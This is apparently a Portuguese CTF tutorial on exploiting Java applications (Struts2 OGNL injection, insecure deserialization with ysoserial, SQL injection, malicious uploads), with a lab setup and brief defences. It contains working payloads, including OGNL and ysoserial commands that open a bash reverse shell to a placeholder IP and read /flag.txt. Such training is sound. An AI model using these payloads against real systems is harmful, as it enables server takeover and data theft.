Importância dos Ambientes Java em CTF
Em competições de CTF (Capture The Flag), ambientes Java se destacam devido à sua ampla adoção em aplicações corporativas e à complexidade das vulnerabilidades associadas. Questões frequentes envolvem frameworks como Struts2 e Spring, onde falhas como execução de comandos e desserialização insegura são exploradas. A familiaridade com especificidades de versões do JDK e configurações de frameworks é crucial para resolução eficaz.
Configuração de Ambiente para Testes
Para simular ambientes Java em CTF, utilize máquinas virtuais ou containers. Recomenda-se CentOS ou Ubuntu com JDK 8 instalado. Extraia o JDK e configure as variáveis de ambiente:
tar -zxvf jdk-8u301-linux-x64.tar.gz -C /opt/
echo 'export JAVA_HOME=/opt/jdk1.8.0_301' >> /etc/profile
echo 'export PATH=$JAVA_HOME/bin:$PATH' >> /etc/profile
source /etc/profile
Instale o Tomcat baixando a versão 8.5 e iniciando o serviço. Para Spring Boot, crie um projeto com Maven e execute o JAR resultante.
Uso de Docker para Isolamento
Docker facilita a criação de ambientes isolados. Crie um Dockerfile para Struts2:
FROM tomcat:8.5-jdk8-openjdk
ADD struts2-showcase.war /usr/local/tomcat/webapps/
Utilize Docker Compose para gerenciar múltiplos serviços. Exemplo de configuração:
version: '3'
services:
web-app:
build: ./struts2-env
ports:
- "8080:8080"
Exploração de Vulnerabilidades Comuns
Desserialziação Inssegura
Ao desserializar dados não confiáveis com ObjectInputStream.readObject(), objetos maliciosos podem executar código. Ferramentas como ysoserial geram payloads para bibliotecas como Apache Commons Collections:
java -jar ysoserial.jar CommonsCollections1 "comando" > payload.bin
Execução de Comandos via Struts2
Falhas na expressão OGNL permitem injeção de código. Em vulnerabilidades como S2-045, cabeçalhos HTTP são manipulados para executar comandos. Exemplo de payload para obter uma shell reversa:
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('saida',(new java.lang.ProcessBuilder('bash','-c','bash -i >& /dev/tcp/IP/PORTA 0>&1')).start().inputStream.readAllBytes())}
Injeção de SQL em Aplicações Java
Consultas SQL construídas com concatenação são vulneráveis. Evite Statement em favor de PreparedStatement. Exemplo de código vulnerável:
String query = "SELECT * FROM users WHERE name = '" + inputName + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
Upload de Arquivos Maliciosos
Bypass de verificações de extensão ou conteúdo permite upload de JSP com código arbitrário. Técnicas incluem alteração de MIME type ou adição de cabeçalhos de imagem.
Casos Práticos de Exploração
Exemplo com S2-045
Para uma aplicação Struts2 2.3.31 vulnerável, intercepte requisições via Burp Suite. Modifique o cabeçalho Content-Type com um payload OGNL para ler arquivos sensíveis:
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('resultado',(new java.lang.ProcessBuilder('cat','/flag.txt')).start().inputStream.readAllBytes())}
A resposta conterá o conteúdo desejado no cabeçalho resultado.
Obtenção de Shell via Desserialização
Em aplicações com Apache Commons Collections 3.1, gere um payload para shell reversa:
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,SEU_BASE64}|{base64,-d}|{bash,-i}" > payload.ser
Envie o arquivo serializado e escute a conexão na porta especificada.
Estratégias de Defesa e Aprimoramento
Para mitigar vulnerabilidades, atualize frameworks regularmente e utilize filtros de desserialização (como ObjectInputFilter em JDK 9+). Implemente validação rigorosa de entradas e utilize listas brancas para upload de arquivos. Estude fontes de frameworks como Spring Security e pratique em plataformas como Hack The Box para consolidar habilidades em CTF.